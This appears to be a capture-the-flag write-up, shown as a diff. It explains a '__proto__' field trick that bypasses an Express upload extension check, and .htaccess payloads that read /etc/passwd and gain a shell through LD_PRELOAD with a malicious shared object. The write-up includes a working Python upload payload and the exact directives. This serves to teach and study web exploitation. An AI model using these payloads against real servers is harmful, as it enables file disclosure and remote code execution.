|
|
@@ -0,0 +1,67 @@ |
|
|
### Bypass the extension check |
|
|
```Javascript |
|
|
Object.keys(req.files).forEach(function(key){ |
|
|
var filename = req.files[key].name.toLowerCase(); |
|
|
var position = filename.lastIndexOf('.'); |
|
|
if (position == -1) { |
|
|
return next(); |
|
|
} |
|
|
var ext = filename.substr(position); |
|
|
var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld']; |
|
|
if ( !allowexts.includes(ext) ){ |
|
|
res.status(400).send('Something error.'); |
|
|
return; |
|
|
``` |
|
|
Object.keys would not list `__proto__` attributes, so if you upload a file with `__proto__` name field, it could not be checked by |
|
|
this code. |
|
|
In https://github.com/richardgirges/express-fileupload/blob/master/lib/utilities.js#L92 |
|
|
```Javascript |
|
|
const buildFields = (instance, field, value) => { |
|
|
// Do nothing if value is not set. |
|
|
if (value === null || value === undefined) return instance; |
|
|
instance = instance || {}; |
|
|
// Non-array fields |
|
|
if (!instance[field]) { |
|
|
instance[field] = value; |
|
|
return instance; |
|
|
} |
|
|
// Array fields |
|
|
if (instance[field] instanceof Array) { |
|
|
instance[field].push(value); |
|
|
} else { |
|
|
instance[field] = [instance[field], value];Roman Burunkov, 3 years ago: • Forgot to add buildFields code |
|
|
} |
|
|
return instance; |
|
|
}; |
|
|
``` |
|
|
`__proto__` is an attribute of `instance`, so finally, it would execute `instance[field] = [instance[field], value];`, which make |
|
|
req.files to be an array, you could access the file object by array index. |
|
|
So this payload works and it won't crash the server, it is intended solution. |
|
|
```Python |
|
|
# from Sauercloud-pspaul |
|
|
requests.post(url+'upload?formid=1', files={ |
|
|
'__proto__': ('payload.so', content), |
|
|
'decoy': ('decoy', 'lel'), |
|
|
}) |
|
|
``` |
|
|
### capabilities of .htaccess |
|
|
|
|
|
1. read arbitrary files |
|
|
|
|
|
upload a `.htaccess` like this |
|
|
``` |
|
|
ErrorDocument 404 %{file:/etc/passwd} |
|
|
``` |
|
|
Then visit a non-exist path base on the directory, you could get the file contents of `/etc/passwd` directly. |
|
|
|
|
|
2. get remote code execution |
|
|
|
|
|
When you try to read `/etc/apache2/apache.conf`, you will get this line `ExtFilterDefine gzip mode=output cmd=/bin/gzip`. |
|
|
It could compress the response contents and could be actived by `.htaccess` file. |
|
|
Then you could pass environment vars to `/bin/gzip` command by `setEnv`. |
|
|
``` |
|
|
SetOutputFilter gzip |
|
|
setEnv LD_PRELOAD /xxxxxx/evil.so |
|
|
``` |
|
|
Upload your evil `.so` files and enjoy your shell :) |
|
|
|